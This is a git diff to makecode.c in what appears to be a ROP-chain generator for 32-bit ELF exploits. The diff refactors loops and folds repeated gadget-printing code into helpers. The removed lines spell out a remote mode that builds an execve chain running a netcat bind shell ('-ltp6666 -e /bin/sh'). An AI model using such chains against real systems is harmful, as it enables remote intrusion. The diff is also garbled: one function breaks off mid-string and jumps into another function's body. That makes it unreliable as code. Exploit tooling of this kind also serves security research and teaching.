diff --git a/src/makecode.c b/src/makecode.c index 90aebee..326be40 100644 --- a/src/makecode.c +++ b/src/makecode.c @@ -62,18 +62,12 @@ static Elf32_Addr ret_addr_makecodefunc(t_makecode *list_ins, char *instruction) { char *p; - while (list_ins) - { - p = list_ins->instruction; - while (*p != 0) - { - if (!match(p, instruction, strlen(instruction))) - return (list_ins->addr); - p++; - } - list_ins = list_ins->next; - } - return (0); + for (; list_ins; list_ins = list_ins->next) + for (p = list_ins->instruction; *p != 0; p++) + if (!match(p, instruction, strlen(instruction))) + return list_ins->addr; + + return 0; } /* returns the numbers of pop in the gadget. */ @@ -82,14 +76,11 @@ static int how_many_pop(char *gadget) int cpt = 0; char *p; - p = gadget; - while(*p != '\0') - { - if (!strncmp(p, "pop", 3)) - cpt++; - p++; - } - return (cpt); + for (p = gadget; *p != '\0'; p++) + if (!strncmp(p, "pop", 3)) + cpt++; + + return cpt; } /* returns first reg in "mov %e?x,(%e?x)" instruction */ @@ -125,13 +116,11 @@ static int how_many_pop_before(char *gadget, char *pop_reg) { int cpt = 0; - while (strncmp(gadget, pop_reg, strlen(pop_reg)) && *gadget != '\0') - { - if (!strncmp(gadget, "pop", 3)) - cpt++; - gadget++; - } - return (cpt); + for (; strncmp(gadget, pop_reg, strlen(pop_reg)) && *gadget != '\0'; gadget++) + if (!strncmp(gadget, "pop", 3)) + cpt++; + + return cpt; } /* returns the numbers of "pop" after pop_reg */ @@ -139,31 +128,24 @@ static int how_many_pop_after(char *gadget, char *pop_reg) { int cpt = 0; - while(strncmp(gadget, pop_reg, strlen(pop_reg))) - { - if (*gadget == '\0') - return (0); - gadget++; - } + for(; strncmp(gadget, pop_reg, strlen(pop_reg)); gadget++) + if (*gadget == '\0') + return 0; + gadget += strlen(pop_reg); - while (*gadget != '\0') - { - if (!strncmp(gadget, "pop", 3)) - cpt++; - gadget++; - } - return (cpt); + for (; *gadget != '\0'; gadget++) + if (!strncmp(gadget, "pop", 3)) + cpt++; + + return cpt; } /* display padding */ static void display_padding(int i) { - while (i != 0) - { - fprintf(stdout, "\t\t%sp += pack(\"*******************/ - print_code(addr_pop_stack_gadget, pop_stack_gadget); - display_padding(how_many_pop_before(pop_stack_gadget, reg_stack)); - print_data_addr(21); - display_padding(how_many_pop_after(pop_stack_gadget, reg_stack)); - print_code(addr_pop_binsh_gadget, pop_binsh_gadget); - display_padding(how_many_pop_before(pop_binsh_gadget, reg_binsh)); - print_quad_int(bind_mode.port); - display_padding(how_many_pop_after(pop_binsh_gadget, reg_binsh)); - print_code(addr_mov_gadget, mov_gadget); - display_padding(how_many_pop(mov_gadget)); - /*******************EOF*********************/ - - /******************\0***********************/ - print_code(addr_pop_stack_gadget, pop_stack_gadget); - display_padding(how_many_pop_before(pop_stack_gadget, reg_stack)); - print_data_addr(25); - display_padding(how_many_pop_after(pop_stack_gadget, reg_stack)); - print_code(addr_xor_gadget, xor_gadget); - display_padding(how_many_pop(xor_gadget)); - print_code(addr_mov_gadget, mov_gadget); - display_padding(how_many_pop(mov_gadget)); - /******************EOF**********************/ - - - - /******************-e//\********************/ - print_code(addr_pop_stack_gadget, pop_stack_gadget); - display_padding(how_many_pop_before(pop_stack_gadget, reg_stack)); - print_data_addr(26); - display_padding(how_many_pop_after(pop_stack_gadget, reg_stack)); - print_code(addr_pop_binsh_gadget, pop_binsh_gadget); - display_padding(how_many_pop_before(pop_binsh_gadget, reg_binsh)); - print_quad("-e//"); - display_padding(how_many_pop_after(pop_binsh_gadget, reg_binsh)); - print_code(addr_mov_gadget, mov_gadget); - display_padding(how_many_pop(mov_gadget)); - /*******************EOF*********************/ - - /*****************\/bin*********************/ - print_code(addr_pop_stack_gadget, pop_stack_gadget); - display_padding(how_many_pop_before(pop_stack_gadget, reg_stack)); - print_data_addr(30); - display_padding(how_many_pop_after(pop_stack_gadget, reg_stack)); - print_code(addr_pop_binsh_gadget, pop_binsh_gadget); - display_padding(how_many_pop_before(pop_binsh_gadget, reg_binsh)); - print_quad("/bin"); - display_padding(how_many_pop_after(pop_binsh_gadget, reg_binsh)); - print_code(addr_mov_gadget, mov_gadget); - display_padding(how_many_pop(mov_gadget)); - /*******************EOF*********************/ - - /******************\//sh********************/ - print_code(addr_pop_stack_gadget, pop_stack_gadget); - display_padding(how_many_pop_before(pop_stack_gadget, reg_stack)); - print_data_addr(34); - display_padding(how_many_pop_after(pop_stack_gadget, reg_stack)); - print_code(addr_pop_binsh_gadget, pop_binsh_gadget); - display_padding(how_many_pop_before(pop_binsh_gadget, reg_binsh)); - print_quad("//sh"); - display_padding(how_many_pop_after(pop_binsh_gadget, reg_binsh)); - print_code(addr_mov_gadget, mov_gadget); - display_padding(how_many_pop(mov_gadget)); - /*******************EOF*********************/ - - /******************\0***********************/ - print_code(addr_pop_stack_gadget, pop_stack_gadget); - display_padding(how_many_pop_before(pop_stack_gadget, reg_stack)); - print_data_addr(38); - display_padding(how_many_pop_after(pop_stack_gadget, reg_stack)); - print_code(addr_xor_gadget, xor_gadget); - display_padding(how_many_pop(xor_gadget)); - print_code(addr_mov_gadget, mov_gadget); - display_padding(how_many_pop(mov_gadget)); - /******************EOF**********************/ - - - /*********************************** make now arg_tab[] ***********************************/ - /* - ** data + 0 = "//usr/bin/netcat" - ** data + 17 = "-ltp6666" - ** data + 26 = "-e///bin//sh" - ** ^ - ** +-- data + 38 - ** - ** data + 40 = data + 0 - ** data + 44 = data + 17 - ** data + 48 = data + 26 - ** data + 52 = NULL - */ - - /****************** data + 0 ********************/ - print_code(addr_pop_stack_gadget, pop_stack_gadget); - display_padding(how_many_pop_before(pop_stack_gadget, reg_stack)); - print_data_addr(40); - display_padding(how_many_pop_after(pop_stack_gadget, reg_stack)); - print_code(addr_pop_binsh_gadget, pop_binsh_gadget); - display_padding(how_many_pop_before(pop_binsh_gadget, reg_binsh)); - print_data_addr(0); - display_padding(how_many_pop_after(pop_binsh_gadget, reg_binsh)); - print_code(addr_mov_gadget, mov_gadget); - display_padding(how_many_pop(mov_gadget)); - /******************* EOF **********************/ - - /****************** data + 17 ********************/ - print_code(addr_pop_stack_gadget, pop_stack_gadget); - display_padding(how_many_pop_before(pop_stack_gadget, reg_stack)); - print_data_addr(44); - display_padding(how_many_pop_after(pop_stack_gadget, reg_stack)); - print_code(addr_pop_binsh_gadget, pop_binsh_gadget); - display_padding(how_many_pop_before(pop_binsh_gadget, reg_binsh)); - print_data_addr(17); - display_padding(how_many_pop_after(pop_binsh_gadget, reg_binsh)); - print_code(addr_mov_gadget, mov_gadget); - display_padding(how_many_pop(mov_gadget)); - /******************* EOF **********************/ - - /****************** data + 17 ********************/ - print_code(addr_pop_stack_gadget, pop_stack_gadget); - display_padding(how_many_pop_before(pop_stack_gadget, reg_stack)); - print_data_addr(48); - display_padding(how_many_pop_after(pop_stack_gadget, reg_stack)); - print_code(addr_pop_binsh_gadget, pop_binsh_gadget); - display_padding(how_many_pop_before(pop_binsh_gadget, reg_binsh)); - print_data_addr(26); - display_padding(how_many_pop_after(pop_binsh_gadget, reg_binsh)); - print_code(addr_mov_gadget, mov_gadget); - display_padding(how_many_pop(mov_gadget)); - /******************* EOF **********************/ - - /****************** \0 [1] ***********************/ - print_code(addr_pop_stack_gadget, pop_stack_gadget); - display_padding(how_many_pop_before(pop_stack_gadget, reg_stack)); - print_data_addr(52); - display_padding(how_many_pop_after(pop_stack_gadget, reg_stack)); - print_code(addr_xor_gadget, xor_gadget); - display_padding(how_many_pop(xor_gadget)); - print_code(addr_mov_gadget, mov_gadget); - display_padding(how_many_pop(mov_gadget)); - /****************** EOF **************************/ - - /****************** \0 [2] ***********************/ - print_code(addr_pop_stack_gadget, pop_stack_gadget); - display_padding(how_many_pop_before(pop_stack_gadget, reg_stack)); - print_data_addr(53); - display_padding(how_many_pop_after(pop_stack_gadget, reg_stack)); - print_code(addr_xor_gadget, xor_gadget); - display_padding(how_many_pop(xor_gadget)); - print_code(addr_mov_gadget, mov_gadget); - display_padding(how_many_pop(mov_gadget)); - /****************** EOF **************************/ - - /****************** \0 [3] ***********************/ - print_code(addr_pop_stack_gadget, pop_stack_gadget); - display_padding(how_many_pop_before(pop_stack_gadget, reg_stack)); - print_data_addr(54); - display_padding(how_many_pop_after(pop_stack_gadget, reg_stack)); - print_code(addr_xor_gadget, xor_gadget); - display_padding(how_many_pop(xor_gadget)); - print_code(addr_mov_gadget, mov_gadget); - display_padding(how_many_pop(mov_gadget)); - /****************** EOF **************************/ - - /****************** \0 [4] ***********************/ - print_code(addr_pop_stack_gadget, pop_stack_gadget); - display_padding(how_many_pop_before(pop_stack_gadget, reg_stack)); - print_data_addr(55); - display_padding(how_many_pop_after(pop_stack_gadget, reg_stack)); - print_code(addr_xor_gadget, xor_gadget); - display_padding(how_many_pop(xor_gadget)); - print_code(addr_mov_gadget, mov_gadget); - display_padding(how_many_pop(mov_gadget)); - /****************** EOF **************************/ - - /**************************************** EOF *********************************************/ - + print_vector(&offsets[0], + addr_pop_stack_gadget, pop_stack_gadget, reg_stack, + addr_pop_binsh_gadget, pop_binsh_gadget, reg_binsh, + addr_mov_gadget, mov_gadget, + addr_xor_gadget, xor_gadget, 40); + } free(first_reg); free(second_reg); } @@ -583,30 +348,16 @@ static void makepartie2(t_makecode *list_ins, int local) pop_edx_gadget = get_gadget_since_addr_att(addr_pop_edx); /* set %ebx */ - print_code(addr_pop_ebx, pop_ebx_gadget); - display_padding(how_many_pop_before(pop_ebx_gadget, "pop %ebx")); - print_data_addr(0); - display_padding(how_many_pop_after(pop_ebx_gadget, "pop %ebx")); + print_code_padded(addr_pop_ebx, pop_ebx_gadget, "pop %ebx"); + print_data_addr_padded(0, pop_ebx_gadget, "pop %ebx"); /* set %ecx */ - print_code(addr_pop_ecx, pop_ecx_gadget); - display_padding(how_many_pop_before(pop_ecx_gadget, "pop %ecx")); - if (local) { - print_data_addr(8); - } else { - print_data_addr(40); - } - display_padding(how_many_pop_after(pop_ecx_gadget, "pop %ecx")); + print_code_padded(addr_pop_ecx, pop_ecx_gadget, "pop %ecx"); + print_data_addr_padded(local?8:40, pop_ecx_gadget, "pop %ecx"); /* set %edx */ - print_code(addr_pop_edx, pop_edx_gadget); - display_padding(how_many_pop_before(pop_edx_gadget, "pop %edx")); - if (local) { - print_data_addr(8); - } else { - print_data_addr(52); - } - display_padding(how_many_pop_after(pop_edx_gadget, "pop %edx")); + print_code_padded(addr_pop_edx, pop_edx_gadget, "pop %edx"); + print_data_addr_padded(local?8:52, pop_edx_gadget, "pop %edx"); } /* partie 3 init eax = 0xb (execve) */ @@ -616,7 +367,7 @@ static void makepartie3(t_makecode *list_ins) Elf32_Addr addr_inc_eax; char *xor_eax_gadget; char *inc_eax_gadget; - int i = 0; + int i; addr_xor_eax = ret_addr_makecodefunc(list_ins, "xor %eax,%eax"); addr_inc_eax = ret_addr_makecodefunc(list_ins, "inc %eax"); @@ -628,12 +379,8 @@ static void makepartie3(t_makecode *list_ins) display_padding(how_many_pop(xor_eax_gadget)); /* set %eax => 0xb for sys_execve() */ - while (i != 0xb) - { - print_code(addr_inc_eax, inc_eax_gadget); - display_padding(how_many_pop(inc_eax_gadget)); - i++; - } + for (i = 0; i != 0xb; i++) + print_code_padded1(addr_inc_eax, inc_eax_gadget); } /* partie 4 call "int 0x80" or "sysenter" */ @@ -661,14 +408,7 @@ static void makepartie4(t_makecode *list_ins) void makecode(t_makecode *list_ins) { - if (!bind_mode.flag) - { - makepartie1_local(list_ins); - } - else - { - makepartie1_remote(list_ins); - } + makepartie1(list_ins, !bind_mode.flag); makepartie2(list_ins, !bind_mode.flag); makepartie3(list_ins); makepartie4(list_ins);